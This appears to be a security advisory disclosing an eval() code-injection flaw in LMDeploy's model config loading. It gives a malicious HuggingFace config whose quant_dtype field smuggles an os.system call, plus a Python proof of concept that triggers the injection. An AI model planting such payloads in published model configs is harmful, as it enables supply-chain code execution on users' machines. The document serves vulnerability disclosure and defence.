CVE-2026-33625: LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading

Summary

lmdeploy <= latest contains a code injection vulnerability in lmdeploy/pytorch/config.py line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted quantizationconfig.quantdtype value. When a user loads the model with lmdeploy, the quantdtype is passed to eval(f'torch.{quantdtype}') without any validation.

Details

Vulnerable code (permalink):

python quantdtype = eval(f'torch.{quantdtype}') # line 620

The quantdtype value comes from the model's quantizationconfig in its HuggingFace config. When a model specifies quantmethod: awq, the AWQ branch processes the config but does NOT override quantdtype, allowing the malicious value to reach the eval() call.

Attack vector: An attacker publishes a HuggingFace model with: json { "quantizationconfig": { "quantmethod": "awq", "quantdtype": "float16, import('os').system('id')" } }

Note: The updatetorchdtype method at line 53 has a whitelist check, but that's for torchdtype, NOT quantdtype. The quantdtype at line 620 has no validation whatsoever.

PoC

python """ PoC: eval() RCE in lmdeploy via malicious quantdtype Prerequisites: pip install lmdeploy """ import sys from unittest.mock import MagicMock, patch

Mock torch to capture the eval sys.modules.setdefault('torch', MagicMock())

from lmdeploy.pytorch.config import ModelConfig

Simulate a malicious HuggingFace model config mockhfconfig = MagicMock() mockhfconfig.quantizationconfig = { 'quantmethod': 'awq', 'quantdtype': "float16, import('os').system('id')" } mockhfconfig.numattentionheads = 32 mockhfconfig.hiddensize = 4096 mockhfconfig.numhiddenlayers = 32 mockhfconfig.numkeyvalueheads = 32 mockhfconfig.vocabsize = 32000

This triggers eval(f'torch.{quantdtype}') with quantdtype = "float16, import('os').system('id')" config = ModelConfig.fromhfconfig(mockhfconfig, modelpath='test')

Output: uid=0(root) gid=0(root) groups=0(root)

Impact

An attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.

1. Full remote code execution when loading a malicious model 2. No user interaction beyond running lmdeploy serve or similar with the model 3. Affects all deployment scenarios (local, cloud, production)